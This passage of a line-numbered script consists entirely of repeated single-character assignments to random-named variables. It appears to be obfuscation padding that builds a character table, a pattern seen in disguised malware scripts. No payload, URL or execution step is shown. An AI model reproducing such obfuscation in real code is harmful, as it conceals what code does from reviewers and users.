406	ijymgddmv = "L";
407	ijymgddmv = "Q";
408	ijymgddmv = "B";
409	ijymgddmv = "S";
410	ijymgddmv = "P";
411	ijymgddmv = "v";
412	ijymgddmv = "L";
413	ijymgddmv = "T";
414	ijymgddmv = "y";
415	ijymgddmv = "C";
416	ijymgddmv = "r";
417	ijymgddmv = "y";
418	ijymgddmv = "M";
419	ijymgddmv = "s";
420	iqgxhm = "G";
421	iqgxhm = "h";
422	iqgxhm = "h";
423	iqgxhm = "s";
424	iqgxhm = "e";
425	iqgxhm = "R";
426	iqgxhm = "M";
427	iqgxhm = "Y";
428	iqgxhm = "O";
429	iqgxhm = "i";
430	iqgxhm = "b";
431	iqgxhm = "e";
432	iqgxhm = "w";
433	iqgxhm = "a";
434	iqgxhm = "T";
435	iqgxhm = "X";
436	iqgxhm = "R";
437	iqgxhm = "u";
438	iqgxhm = "W";
439	iqgxhm = "z";
440	iqgxhm = "o";
441	iqgxhm = "y";
442	iqgxhm = "f";
443	iqgxhm = "S";
444	iqgxhm = "D";
445	iqgxhm = "c";
446	iqgxhm = "b";
447	iqgxhm = "l";
448	iqgxhm = "X";
449	iqgxhm = "n";
450	iqgxhm = "p";
451	iqgxhm = "B";
452	iqgxhm = "d";
453	iqgxhm = "s";
454	iqgxhm = "f";
455	iqgxhm = "I";
456	iqgxhm = "m";
457	iqgxhm = "Y";
458	iqgxhm = "N";
459	iqgxhm = "A";
460	iqgxhm = "g";
461	iqgxhm = "f";
462	iqgxhm = "e";
463	iqgxhm = ".";
464	raabqpxw = "C";
465	raabqpxw = "q";
466	raabqpxw = "k";
467	raabqpxw = "f";
468	raabqpxw = "W";
469	raabqpxw = "b";
470	raabqpxw = "N";
471	raabqpxw = "G";
472	raabqpxw = "Q";
473	raabqpxw = "F";
474	raabqpxw = "v";
475	raabqpxw = "V";
476	raabqpxw = "b";
477	raabqpxw = "v";
478	raabqpxw = "u";
479	raabqpxw = "o";
480	raabqpxw = "z";
481	raabqpxw = "p";
482	gojlr = "M";
483	gojlr = "g";
484	gojlr = "r";
485	gojlr = "l";
486	gojlr = "K";
487	gojlr = "R";
488	gojlr = "g";
489	gojlr = "L";
490	gojlr = "G";
491	gojlr = "o";
492	gojlr = "u";
493	gojlr = "U";
494	gojlr = "f";
495	gojlr = "y";
496	gojlr = "e";
497	gojlr = "p";
498	gojlr = "Q";
499	gojlr = "x";
500	gojlr = "S";
501	gojlr = "A";
502	gojlr = "q";
503	gojlr = "k";
504	gojlr = "m";
505	gojlr = "5";
506	tsaeel = "h";
507	tsaeel = "F";
508	tsaeel = "N";
509	tsaeel = "h";
510	tsaeel = "X";
511	tsaeel = "K";
512	tsaeel = "w";
513	tsaeel = "N";
514	tsaeel = "i";
515	tsaeel = "m";
516	tsaeel = "P";
517	tsaeel = "Q";
518	tsaeel = "c";
519	tsaeel = "N";
520	tsaeel = "Y";
521	tsaeel = "E";
522	tsaeel = "L";
523	tsaeel = "t";
524	tsaeel = "y";
525	tsaeel = "W";
526	tsaeel = "n";
527	tsaeel = "C";
528	tsaeel = "j";
529	tsaeel = "D";
530	tsaeel = "y";
531	tsaeel = "a";
532	tsaeel = "y";
533	tsaeel = "e";
534	tsaeel = "b";
535	tsaeel = "D";
536	tsaeel = "O";
537	tsaeel = "g";
538	tsaeel = "u";
539	tsaeel = "0";
540	nguuyretc = "g";
541	nguuyretc = "d";
542	nguuyretc = "e";
543	nguuyretc = "I";
544	nguuyretc = "z";
545	nguuyretc = "T";
546	nguuyretc = "j";
547	nguuyretc = "H";
548	nguuyretc = "M";
549	nguuyretc = "E";
550	nguuyretc = "D";
551	nguuyretc = "D";
552	nguuyretc = "p";
553	nguuyretc = "A";
554	nguuyretc = "x";
555	nguuyretc = "c";
556	nguuyretc = "r";
557	nguuyretc = "s";
558	nguuyretc = "y";
559	nguuyretc = "p";
560	nguuyretc = "m";
561	nguuyretc = "c";
562	nguuyretc = "O";
563	nguuyretc = "O";
564	nguuyretc = "o";
565	nguuyretc = "w";
566	nguuyretc = "D";
567	nguuyretc = "S";
568	nguuyretc = "I";
569	nguuyretc = "c";
570	nguuyretc = "y";
571	nguuyretc = "z";
572	nguuyretc = "a";
573	nguuyretc = "F";
574	nguuyretc = "v";
575	nguuyretc = "e";
576	nguuyretc = "s";
577	nguuyretc = "d";
578	nguuyretc = "s";
579	nguuyretc = "H";
580	nguuyretc = "i";
581	riahs = "A";
582	riahs = "F";
583	riahs = "k";
584	riahs = "p";
585	riahs = "g";
586	riahs = "v";
587	riahs = "d";
588	riahs = "c";
589	riahs = "Y";
590	riahs = "r";
591	riahs = "H";
592	riahs = "m";
593	riahs = "R";
594	riahs = "m";
595	riahs = "O";
596	riahs = "Y";
597	riahs = ":";
598	mmxwxpqzy = "D";
599	mmxwxpqzy = "s";
600	mmxwxpqzy = "g";
601	mmxwxpqzy = "g";
602	mmxwxpqzy = "O";
603	mmxwxpqzy = "z";
604	mmxwxpqzy = "g";
605	mmxwxpqzy = "r";
606	mmxwxpqzy = "M";
607	mmxwxpqzy = "K";
608	mmxwxpqzy = "S";
609	mmxwxpqzy = "x";
610	mmxwxpqzy = "g";
611	mmxwxpqzy = "O";
612	mmxwxpqzy = "x";
613	mmxwxpqzy = "i";
614	mmxwxpqzy = "K";
615	mmxwxpqzy = "z";
616	mmxwxpqzy = "F";
617	mmxwxpqzy = "n";
618	mmxwxpqzy = "A";
619	mmxwxpqzy = "B";
620	mmxwxpqzy = "P";
621	mmxwxpqzy = "r";
622	mmxwxpqzy = "B";
623	mmxwxpqzy = "6";
624	crxxlhvrm = "s";
625	crxxlhvrm = "V";
626	crxxlhvrm = "F";
627	crxxlhvrm = "y";
628	crxxlhvrm = "Q";
629	crxxlhvrm = "m";
630	crxxlhvrm = "p";
631	crxxlhvrm = "K";
632	crxxlhvrm = "z";
633	crxxlhvrm = "L";
634	crxxlhvrm = "I";
635	crxxlhvrm = "F";
636	crxxlhvrm = "M";
637	crxxlhvrm = "E";
638	crxxlhvrm = "P";
639	crxxlhvrm = "l";
640	crxxlhvrm = "u";
641	crxxlhvrm = "N";
642	crxxlhvrm = "p";
643	crxxlhvrm = "W";
644	crxxlhvrm = "l";
645	crxxlhvrm = "R";
646	crxxlhvrm = "e";
647	crxxlhvrm = "K";
648	crxxlhvrm = "i";
649	crxxlhvrm = "y";
650	crxxlhvrm = "N";
651	crxxlhvrm = "r";
652	crxxlhvrm = "O";
653	crxxlhvrm = "a";
654	crxxlhvrm = "v";
655	tapgfvf = "Y";
656	tapgfvf = "O";
657	tapgfvf = "T";
658	tapgfvf = "A";
659	tapgfvf = "l";
660	tapgfvf = "s";
661	tapgfvf = "s";
662	tapgfvf = "Z";
663	tapgfvf = "W";
664	tapgfvf = "m";
665	tapgfvf = "c";
666	tapgfvf = "t";
667	tapgfvf = "Z";
668	tapgfvf = "m";
669	tapgfvf = "w";
670	tapgfvf = "Y";
671	tapgfvf = "E";
672	tapgfvf = "l";
673	tapgfvf = "i";
674	tapgfvf = "b";
675	tapgfvf = "d";
676	tapgfvf = "E";
677	tapgfvf = "E";
678	tapgfvf = "V";
679	tapgfvf = "E";
680	tapgfvf = "c";
681	tapgfvf = "M";
682	tapgfvf = "I";
683	iisxvlch = "m";
684	iisxvlch = "R";
685	iisxvlch = "P";
686	iisxvlch = "J";
687	iisxvlch = "R";
688	iisxvlch = "l";
689	iisxvlch = "x";
690	iisxvlch = "y";
691	iisxvlch = "p";
692	iisxvlch = "x";
693	iisxvlch = "v";
694	iisxvlch = "o";
695	iisxvlch = "O";
696	iisxvlch = "a";
697	iisxvlch = "h";
698	iisxvlch = "A";
699	iisxvlch = "g";
700	iisxvlch = "u";
701	iisxvlch = "x";
702	iisxvlch = "G";
703	iisxvlch = "m";
704	iisxvlch = "H";
705	iisxvlch = "q";
706	iisxvlch = "J";
707	iisxvlch = "b";
708	iisxvlch = "E";
709	mxcqlhlxb = "y";
710	mxcqlhlxb = "A";
711	mxcqlhlxb = "M";
712	mxcqlhlxb = "A";
713	mxcqlhlxb = "M";
714	mxcqlhlxb = "I";
715	mxcqlhlxb = "K";
716	mxcqlhlxb = "b";
717	mxcqlhlxb = "P";
718	mxcqlhlxb = "v";
719	mxcqlhlxb = "P";
720	mxcqlhlxb = "e";
721	mxcqlhlxb = "K";
722	mxcqlhlxb = "U";
723	mxcqlhlxb = "t";
724	mxcqlhlxb = "D";
725	mxcqlhlxb = "h";
726	mxcqlhlxb = "K";
727	mxcqlhlxb = "w";
728	mxcqlhlxb = "k";
729	mxcqlhlxb = "R";
730	mxcqlhlxb = "z";
731	mxcqlhlxb = "w";
732	mxcqlhlxb = "Z";
733	mxcqlhlxb = "F";
734	mxcqlhlxb = "W";
735	mxcqlhlxb = "K";
736	mxcqlhlxb = "b";
737	mxcqlhlxb = " ";
738	tzyuverya = "u";
739	tzyuverya = "z";
740	tzyuverya = "n";
741	tzyuverya = "B";
742	tzyuverya = "m";
743	tzyuverya = "o";
744	tzyuverya = "I";
745	tzyuverya = "T";
746	oaaxe = "E";
747	oaaxe = "O";
748	oaaxe = "W";
749	oaaxe = "J";
750	oaaxe = "r";
751	oaaxe = "Q";
752	oaaxe = "p";
753	oaaxe = "Z";
754	oaaxe = "X";
755	oaaxe = "N";
756	oaaxe = "t";
757	oaaxe = "l";
758	oaaxe = "h";
759	oaaxe = "A";
760	oaaxe = "K";
761	oaaxe = "q";
762	oaaxe = "j";
763	oaaxe = "P";
764	oaaxe = "U";
765	oaaxe = "Z";
766	oaaxe = "S";
767	oaaxe = "K";
768	oaaxe = "n";
769	oaaxe = "k";
770	oaaxe = "L";
771	oaaxe = "P";
772	oaaxe = "B";
773	oaaxe = "x";
774	oaaxe = "a";
775	oaaxe = "r";
776	oaaxe = "O";
777	oaaxe = "f";
778	oaaxe = "i";
779	oaaxe = "H";
780	oaaxe = "W";
781	oaaxe = "V";
782	oaaxe = "O";
783	oaaxe = "j";
784	oaaxe = "o";
785	oaaxe = "x";
786	oaaxe = "a";
787	oaaxe = "t";
788	oaaxe = "K";
789	oaaxe = "j";
790	zktuy = "w";
791	zktuy = "R";
792	zktuy = "A";
793	zktuy = "x";
794	zktuy = "v";
795	zktuy = "v";
796	zktuy = "T";
797	zktuy = "Q";
798	zktuy = "t";
799	zktuy = "O";
800	zktuy = "y";
801	zktuy = "w";
802	zktuy = "p";
803	zktuy = "O";
804	zktuy = "r";
805	zktuy = "X";
806	zktuy = "s";
807	zktuy = "Z";
808	zktuy = "J";
809	zktuy = "K";
810	zktuy = "o";
811	zktuy = "e";
812	zktuy = "O";
813	zktuy = "L";
814	zktuy = "Z";
815	zktuy = "Y";
816	zktuy = "G";
817	zktuy = "c";
818	zktuy = "p";
819	zktuy = "n";
820	zktuy = "H";
821	zktuy = "O";
822	zktuy = "R";
823	zktuy = "Y";
824	zktuy = "y";
825	zktuy = "N";
826	zktuy = "D";
827	zktuy = "O";
828	zktuy = "X";
829	zktuy = "i";
830	zktuy = "W";
831	zktuy = "f";
832	zktuy = "V";
833	zktuy = "S";
834	zktuy = "U";
835	uygxuckc = "J";
836	uygxuckc = "r";
837	uygxuckc = "g";
838	uygxuckc = "b";
839	uygxuckc = "a";
840	uygxuckc = "N";
841	uygxuckc = "E";
842	uygxuckc = "E";
843	uygxuckc = "z";
844	uygxuckc = "S";
845	uygxuckc = "Y";
846	uygxuckc = "J";
847	uygxuckc = "I";
848	uygxuckc = "g";
849	uygxuckc = "z";
850	uygxuckc = "P";
851	uygxuckc = "S";
852	uygxuckc = "o";
853	uygxuckc = "p";
854	uygxuckc = "-";
855	pqsfug = "u";
856	pqsfug = "R";
857	pqsfug = "K";
858	pqsfug = "n";
859	pqsfug = "f";
860	pqsfug = "J";
861	pqsfug = "S";
862	pqsfug = "r";
863	pqsfug = "m";
864	nztgqpyz = "A";
865	nztgqpyz = "R";
866	nztgqpyz = "z";
867	nztgqpyz = "x";
868	nztgqpyz = "u";
869	nztgqpyz = "q";
870	nztgqpyz = "r";
871	nztgqpyz = "U";
872	nztgqpyz = "P";
873	nztgqpyz = "a";
874	nztgqpyz = "r";
875	nztgqpyz = "S";
876	nztgqpyz = "Q";
877	nztgqpyz = "g";
878	nztgqpyz = "x";
879	nztgqpyz = "U";
880	nztgqpyz = "F";
881	nztgqpyz = "L";
882	nztgqpyz = "L";
883	nztgqpyz = "u";
884	nztgqpyz = "C";
885	nztgqpyz = "W";
886	nztgqpyz = "S";
887	nztgqpyz = "R";
888	nztgqpyz = "s";
889	nztgqpyz = "Q";
890	nztgqpyz = "u";
891	nztgqpyz = "9";
892	witcsa = "G";
893	witcsa = "i";
894	witcsa = "V";
895	witcsa = "P";
896	witcsa = "K";
897	witcsa = "E";
898	witcsa = "@";
899	luhqqga = "g";
900	luhqqga = "I";
901	luhqqga = "S";
902	luhqqga = "V";
903	luhqqga = "x";
904	luhqqga = "a";
905	luhqqga = "Z";
906	luhqqga = "f";
907	luhqqga = "a";
908	luhqqga = "R";
909	luhqqga = "f";
910	luhqqga = "H";
911	luhqqga = "m";
912	luhqqga = "S";
913	luhqqga = "L";
914	luhqqga = "C";
915	luhqqga = "y";
916	luhqqga = "L";
917	vbdquzb = "k";
918	vbdquzb = "n";
919	vbdquzb = "M";
920	vbdquzb = "Z";
921	vbdquzb = "z";
922	vbdquzb = "h";
923	vbdquzb = "g";
924	vbdquzb = "z";
925	vbdquzb = "t";
926	vbdquzb = "Z";
927	vbdquzb = "C";
928	vbdquzb = "b";
929	vbdquzb = "f";
930	vbdquzb = "L";
931	vbdquzb = "B";
932	vbdquzb = "X";
933	vbdquzb = "G";
934	vbdquzb = "F";
935	vbdquzb = "e";
936	vbdquzb = "a";
937	vbdquzb = "D";
938	vbdquzb = "q";
939	vbdquzb = "e";
940	vbdquzb = "m";
941	vbdquzb = "4";
942	aiqid = "a";
943	aiqid = "v";
944	aiqid = "V";
945	aiqid = "j";
946	aiqid = "i";
947	aiqid = "B";
948	aiqid = "v";
949	aiqid = "O";
950	aiqid = "i";
951	aiqid = "B";
952	aiqid = "C";
953	aiqid = "k";
954	aiqid = "s";
955	aiqid = "p";
956	aiqid = "H";
957	aiqid = "j";
958	aiqid = "J";
959	aiqid = "g";
960	aiqid = "d";
961	aiqid = "l";
962	aiqid = "A";
963	aiqid = "s";
964	aiqid = "p";
965	aiqid = "J";
966	aiqid = "w";
967	aiqid = "y";
968	aiqid = "v";
969	aiqid = "u";
970	sjjtdvyyt = "z";
971	sjjtdvyyt = "X";
972	sjjtdvyyt = "N";
973	sjjtdvyyt = "o";
974	sjjtdvyyt = "o";
975	sjjtdvyyt = "m";
976	sjjtdvyyt = "K";
977	sjjtdvyyt = "j";
978	sjjtdvyyt = "M";
979	sjjtdvyyt = "G";
980	sjjtdvyyt = "i";
981	sjjtdvyyt = "M";
982	sjjtdvyyt = "a";
983	sjjtdvyyt = "c";
984	sjjtdvyyt = "d";
985	sjjtdvyyt = "A";
986	sjjtdvyyt = "p";
987	sjjtdvyyt = "w";
988	sjjtdvyyt = "m";
989	sjjtdvyyt = "I";
990	sjjtdvyyt = "p";
991	sjjtdvyyt = "A";
992	sjjtdvyyt = "v";
993	sjjtdvyyt = "p";
994	sjjtdvyyt = "C";
995	sjjtdvyyt = "Y";
996	sjjtdvyyt = "q";
997	sjjtdvyyt = "3";
998	wgxfe = "n";
999	wgxfe = "g";
1000	wgxfe = "b";
1001	wgxfe = "M";
1002	wgxfe = "g";
1003	wgxfe = "b";
1004	wgxfe = "k";
1005	wgxfe = "X";
1006	wgxfe = "s";
1007	wgxfe = "e";
1008	wgxfe = "A";
1009	wgxfe = "p";
1010	wgxfe = "k";
1011	wgxfe = "r";
1012	wgxfe = "x";
1013	wgxfe = "u";
1014	wgxfe = "L";
1015	wgxfe = "F";
1016	wgxfe = "e";
1017	wgxfe = "h";
1018	wgxfe = "U";
1019	wgxfe = "s";
1020	wgxfe = "W";
1021	zrgkkoad = "J";
1022	zrgkkoad = "n";
1023	zrgkkoad = "O";
1024	zrgkkoad = "y";
1025	zrgkkoad = "G";
1026	zrgkkoad = "I";
1027	zrgkkoad = "H";
1028	zrgkkoad = "V";
1029	zrgkkoad = "r";
1030	zrgkkoad = "q";
1031	zrgkkoad = "C";
1032	zrgkkoad = "a";
1033	zrgkkoad = "a";
1034	zrgkkoad = "e";
1035	zrgkkoad = "y";
1036	zrgkkoad = "m";
1037	zrgkkoad = "j";
1038	zrgkkoad = "Y";
1039	zrgkkoad = "c";
1040	zrgkkoad = "E";
1041	zrgkkoad = "v";
1042	zrgkkoad = "d";
1043	zrgkkoad = "T";
1044	zrgkkoad = "p";
1045	zrgkkoad = "z";
1046	zrgkkoad = "m";
1047	zrgkkoad = "&";
1048	cujikxs = "X";
1049	cujikxs = "i";
1050	cujikxs = "k";
1051	cujikxs = "t";
1052	cujikxs = "i";
1053	cujikxs = "b";
1054	cujikxs = "A";
1055	cujikxs = "o";
1056	cujikxs = "I";
1057	cujikxs = "e";
1058	cujikxs = "P";
1059	cujikxs = "d";
1060	cujikxs = "f";
1061	cujikxs = "j";
1062	cujikxs = "C";
1063	cujikxs = "C";
1064	cujikxs = "t";
1065	cujikxs = "z";
1066	cujikxs = "X";
1067	cujikxs = "l";
1068	cujikxs = "H";
1069	cujikxs = "E";
1070	cujikxs = "C";
1071	cujikxs = "t";
1072	cujikxs = "T";
1073	cujikxs = "A";
1074	cujikxs = "_";
1075	zxhnrkanm = "S";
1076	zxhnrkanm = "C";
1077	zxhnrkanm = "D";
1078	zxhnrkanm = "L";
1079	zxhnrkanm = "b";
1080	zxhnrkanm = "h";
1081	zxhnrkanm = "L";
1082	zxhnrkanm = "v";
1083	zxhnrkanm = "D";
1084	zxhnrkanm = "k";
1085	zxhnrkanm = "K";
1086	zxhnrkanm = "c";
1087	zxhnrkanm = "h";
1088	zxhnrkanm = "M";
1089	zxhnrkanm = "c";
1090	zxhnrkanm = "S";
1091	zxhnrkanm = "x";
1092	zxhnrkanm = "h";
1093	kdlueaex = "A";
1094	kdlueaex = "F";
1095	kdlueaex = "j";
1096	kdlueaex = "K";
1097	kdlueaex = "L";
1098	kdlueaex = "k";
1099	kdlueaex = "p";
1100	kdlueaex = "T";
1101	kdlueaex = "s";
1102	kdlueaex = "U";
1103	kdlueaex = "X";
1104	kdlueaex = "o";
1105	kdlueaex = "Z";
1106	kdlueaex = "a";
1107	kdlueaex = "R";
1108	kdlueaex = "O";
1109	kdlueaex = "P";
1110	kdlueaex = "l";
1111	kdlueaex = "v";
1112	kdlueaex = "e";
1113	kdlueaex = "Z";
1114	kdlueaex = "y";
1115	kdlueaex = "Z";
1116	kdlueaex = "Z";
1117	kdlueaex = "q";
1118	kdlueaex = "S";
1119	kdlueaex = "c";
1120	emoibj = "i";
1121	emoibj = "I";
1122	emoibj = "J";
1123	emoibj = "b";
1124	emoibj = "f";
1125	emoibj = "x";
1126	emoibj = "h";
1127	emoibj = "c";
1128	emoibj = "M";
1129	emoibj = "X";
1130	emoibj = "l";
1131	emoibj = "k";
1132	emoibj = "h";
1133	emoibj = "s";
1134	emoibj = "G";
1135	emoibj = "w";
1136	emoibj = "A";
1137	emoibj = "g";
1138	emoibj = "m";
1139	emoibj = "I";
1140	emoibj = "e";
1141	emoibj = "n";
1142	emoibj = "y";
1143	emoibj = "V";
1144	emoibj = "p";
1145	emoibj = "D";
1146	emoibj = "j";
1147	emoibj = "z";
1148	emoibj = "%";
1149	fltesndo = "o";
1150	fltesndo = "f";
1151	fltesndo = "l";
1152	fltesndo = "i";
1153	fltesndo = "P";
1154	fltesndo = "F";
1155	fltesndo = "n";
1156	lhunjl = "u";
1157	lhunjl = "O";
1158	lhunjl = "p";
1159	lhunjl = "D";
1160	lhunjl = "O";
1161	lhunjl = "C";
1162	lhunjl = "r";
1163	lhunjl = "e";
1164	lhunjl = "j";
1165	lhunjl = "T";
1166	lhunjl = "i";
1167	lhunjl = "y";
1168	lhunjl = "J";
1169	lhunjl = "I";
1170	lhunjl = "O";
1171	lhunjl = "T";
1172	lhunjl = "B";
1173	lhunjl = "O";
1174	lhunjl = "w";
1175	lhunjl = "w";
1176	lhunjl = "P";
1177	lhunjl = "W";
1178	lhunjl = "D";
1179	lhunjl = "m";
1180	lhunjl = "m";
1181	lhunjl = "L";
1182	lhunjl = "d";
1183	lhunjl = "t";
1184	lhunjl = "F";
1185	lhunjl = "I";
1186	lhunjl = "a";
1187	lhunjl = "e";
1188	lhunjl = "m";
1189	lhunjl = "F";
1190	lhunjl = "Q";
1191	lhunjl = "U";
1192	lhunjl = "v";
1193	lhunjl = "K";
1194	lhunjl = "w";
1195	lhunjl = "k";
1196	lhunjl = "\"";
1197	zlqxosdtm = "p";
1198	zlqxosdtm = "a";
1199	zlqxosdtm = "A";
1200	zlqxosdtm = "E";
1201	zlqxosdtm = "u";
1202	zlqxosdtm = "E";
1203	zlqxosdtm = "W";
1204	zlqxosdtm = "J";
1205	zlqxosdtm = "x";
1206	zlqxosdtm = "G";
1207	zlqxosdtm = "t";
1208	zlqxosdtm = "S";
1209	zlqxosdtm = "R";
1210	zlqxosdtm = "X";
1211	zlqxosdtm = "y";
1212	zlqxosdtm = "I";
1213	zlqxosdtm = "A";
1214	zlqxosdtm = "v";
1215	zlqxosdtm = "O";
1216	zlqxosdtm = "L";
1217	zlqxosdtm = "t";
1218	zlqxosdtm = "W";
1219	zlqxosdtm = "e";
1220	zlqxosdtm = "T";
1221	zlqxosdtm = "w";
1222	zlqxosdtm = "v";
1223	zlqxosdtm = "v";
1224	zlqxosdtm = "C";
1225	zlqxosdtm = "A";
1226	zlqxosdtm = "O";
1227	zlqxosdtm = "h";
1228	zlqxosdtm = "O";
1229	zlqxosdtm = "r";
1230	zlqxosdtm = "T";
1231	zlqxosdtm = "Q";
1232	zlqxosdtm = "f";
1233	qpbvenxv = "A";
1234	qpbvenxv = "P";
1235	qpbvenxv = "T";
1236	qpbvenxv = "l";
1237	qpbvenxv = "a";
1238	qpbvenxv = "R";
1239	qpbvenxv = "E";
1240	qpbvenxv = "p";
1241	qpbvenxv = "O";
1242	qpbvenxv = "W";
1243	qpbvenxv = "R";
1244	qpbvenxv = "r";
1245	qpbvenxv = "w";
1246	ghojvjil = "h";
1247	ghojvjil = "L";
1248	ghojvjil = "M";
1249	ghojvjil = "F";
1250	ghojvjil = "b";
1251	ghojvjil = "S";
1252	ghojvjil = "N";
1253	ghojvjil = "S";
1254	ghojvjil = "H";
1255	eomjgvuu = "l";
1256	eomjgvuu = "k";
1257	eomjgvuu = "S";
1258	eomjgvuu = "l";
1259	eomjgvuu = "r";
1260	eomjgvuu = "N";
1261	eomjgvuu = "c";
1262	eomjgvuu = "W";
1263	eomjgvuu = "E";
1264	eomjgvuu = "l";
1265	eomjgvuu = "G";
1266	eomjgvuu = "v";
1267	eomjgvuu = "q";
1268	eomjgvuu = "f";
1269	eomjgvuu = "O";
1270	eomjgvuu = "a";
1271	eomjgvuu = "N";
1272	eomjgvuu = "H";
1273	eomjgvuu = "P";
1274	eomjgvuu = "k";
1275	eomjgvuu = "/";
1276	pgkmv = "m";
1277	pgkmv = "F";
1278	pgkmv = "C";
1279	pgkmv = "J";
1280	pgkmv = "D";
1281	pgkmv = "h";
1282	pgkmv = "S";
1283	pgkmv = "S";
1284	pgkmv = "m";
1285	pgkmv = "w";
1286	pgkmv = "O";
1287	pgkmv = "y";
1288	pgkmv = "d";
1289	pgkmv = "b";
1290	pgkmv = "X";
1291	pgkmv = "c";
1292	pgkmv = "e";
1293	pgkmv = "a";
1294	pgkmv = "e";
1295	pgkmv = "d";
1296	pgkmv = "U";
1297	pgkmv = "D";
1298	pgkmv = "\\";
1299	rywmy = "J";
1300	rywmy = "e";
1301	rywmy = "C";
1302	qbeovzr = "H";
1303	qbeovzr = "h";
1304	qbeovzr = "i";
1305	qbeovzr = "O";
1306	qbeovzr = "J";
1307	qbeovzr = "Z";
1308	qbeovzr = "S";
1309	qbeovzr = "G";
1310	qbeovzr = "t";
1311	qbeovzr = "T";
1312	qbeovzr = "Y";
1313	qbeovzr = "y";
1314	qbeovzr = "y";
1315	qbeovzr = "b";
1316	qbeovzr = "E";
1317	qbeovzr = "k";
1318	qbeovzr = "Z";
1319	qbeovzr = "s";
1320	qbeovzr = "n";
1321	qbeovzr = "a";
1322	qbeovzr = "I";
1323	qbeovzr = "p";
1324	qbeovzr = "M";
1325	qbeovzr = "O";
1326	qbeovzr = "O";
1327	qbeovzr = "h";
1328	qbeovzr = "o";
1329	qbeovzr = "J";
1330	qbeovzr = "V";
1331	qbeovzr = "b";
1332	qbeovzr = "P";
1333	qbeovzr = "d";
1334	qbeovzr = "e";
1335	qbeovzr = "o";
1336	qbeovzr = "F";
1337	tkpqnayq = "o";
1338	tkpqnayq = "N";
1339	tkpqnayq = "o";
1340	tkpqnayq = "g";
1341	tkpqnayq = "i";
1342	tkpqnayq = "j";
1343	tkpqnayq = "u";
1344	tkpqnayq = "l";
1345	uqpvhekpb = "W";
1346	uqpvhekpb = "f";
1347	uqpvhekpb = "W";
1348	uqpvhekpb = "i";
1349	uqpvhekpb = "v";
1350	uqpvhekpb = "e";
1351	uqpvhekpb = "N";
1352	uqpvhekpb = "n";
1353	uqpvhekpb = "Y";
1354	uqpvhekpb = "e";
1355	uqpvhekpb = "r";
1356	uqpvhekpb = "n";
1357	uqpvhekpb = "q";
1358	uqpvhekpb = "g";
1359	uqpvhekpb = "J";
1360	uqpvhekpb = "Z";
1361	uqpvhekpb = "Y";
1362	uqpvhekpb = "Y";
1363	uqpvhekpb = "N";
1364	uqpvhekpb = "v";
1365	uqpvhekpb = "W";
1366	uqpvhekpb = "1";
1367	dyzasacq = "z";
1368	dyzasacq = "w";
1369	dyzasacq = "E";
1370	dyzasacq = "b";
1371	dyzasacq = "J";
1372	dyzasacq = "t";
1373	dyzasacq = "s";
1374	dyzasacq = "w";
1375	dyzasacq = "R";
1376	ccorwjm = "D";
1377	ccorwjm = "I";
1378	ccorwjm = "M";
1379	ccorwjm = "q";
1380	ccorwjm = "e";
1381	ccorwjm = "l";
1382	ccorwjm = "c";
1383	ccorwjm = "Z";
1384	ccorwjm = "G";
1385	ccorwjm = "S";
1386	ccorwjm = "r";
1387	ccorwjm = "z";
1388	ccorwjm = "C";
1389	ccorwjm = "x";
1390	ccorwjm = "q";
1391	ccorwjm = "k";
1392	ccorwjm = "i";
1393	ccorwjm = "G";
1394	ccorwjm = "W";
1395	ccorwjm = "d";
1396	ccorwjm = "O";
1397	ccorwjm = "d";
1398	ccorwjm = "r";
1399	ccorwjm = "n";
1400	ccorwjm = "R";
1401	ccorwjm = "p";
1402	ccorwjm = "8";
1403	lhifapz = "X";
1404	lhifapz = "j";
1405	lhifapz = "K";
1406	lhifapz = "l";
1407	lhifapz = "M";
1408	lhifapz = "W";
1409	lhifapz = "Q";
1410	lhifapz = "i";
1411	lhifapz = "U";
1412	lhifapz = "n";
1413	lhifapz = "o";
1414	lhifapz = "y";
1415	lhifapz = "D";
1416	lhifapz = "s";
1417	lhifapz = "U";
1418	lhifapz = "I";
1419	lhifapz = "l";
1420	lhifapz = "b";
1421	lhifapz = "o";
1422	lhifapz = "p";
1423	lhifapz = "S";
1424	lhifapz = "H";
1425	lhifapz = "p";
1426	lhifapz = "o";
1427	lhifapz = "R";
1428	lhifapz = "g";
1429	lhifapz = "N";
1430	lhifapz = "d";
1431	lhifapz = "z";
1432	lhifapz = "Q";
1433	lhifapz = "m";
1434	lhifapz = "N";
1435	lhifapz = "w";
1436	lhifapz = "m";
1437	lhifapz = "V";
1438	lhifapz = "h";
1439	lhifapz = "r";
1440	bwfaaqayo = "a";
1441	bwfaaqayo = "w";
1442	bwfaaqayo = "A";
1443	bwfaaqayo = "d";
1444	bwfaaqayo = "h";
1445	bwfaaqayo = "K";
1446	bwfaaqayo = "u";
1447	bwfaaqayo = "V";
1448	bwfaaqayo = "K";
1449	bwfaaqayo = "z";
1450	bwfaaqayo = "B";
1451	bwfaaqayo = "x";
1452	hnykchl = "V";
1453	hnykchl = "T";
1454	hnykchl = "z";
1455	hnykchl = "z";
1456	hnykchl = "a";
1457	hnykchl = "A";
1458	hnykchl = "j";
1459	hnykchl = "B";
1460	hnykchl = "z";
1461	hnykchl = "Q";
1462	btjucnlna = "j";
1463	btjucnlna = "e";
1464	btjucnlna = "f";
1465	btjucnlna = "k";
1466	btjucnlna = "B";
1467	btjucnlna = "u";
1468	btjucnlna = "N";
1469	btjucnlna = "q";
1470	btjucnlna = "r";
1471	btjucnlna = "i";
1472	btjucnlna = "M";
1473	btjucnlna = "i";
1474	btjucnlna = "Y";
1475	btjucnlna = "t";
1476	btjucnlna = "p";
1477	btjucnlna = "x";
1478	btjucnlna = "D";
1479	btjucnlna = "C";
1480	btjucnlna = "J";
1481	btjucnlna = "O";
1482	btjucnlna = "Z";
1483	btjucnlna = "z";
1484	btjucnlna = "c";
1485	btjucnlna = "O";
1486	btjucnlna = "b";
1487	btjucnlna = "k";
1488	btjucnlna = "e";
1489	btjucnlna = "T";
1490	btjucnlna = "L";
1491	btjucnlna = "C";
1492	btjucnlna = "S";
1493	btjucnlna = "H";
1494	btjucnlna = "O";
1495	btjucnlna = "o";
1496	btjucnlna = "k";
1497	btjucnlna = "S";
1498	btjucnlna = "k";
1499	btjucnlna = "Z";
1500	btjucnlna = "j";
1501	btjucnlna = "g";
1502	qqttszh = "h";
1503	qqttszh = "k";
1504	qqttszh = "C";
1505	qqttszh = "W";
1506	qqttszh = "q";
1507	qqttszh = "r";
1508	qqttszh = "O";
1509	qqttszh = "b";
1510	qqttszh = "I";
1511	qqttszh = "L";
1512	qqttszh = "q";
1513	qqttszh = "B";
1514	qqttszh = "p";
1515	qqttszh = "N";
1516	qqttszh = "G";
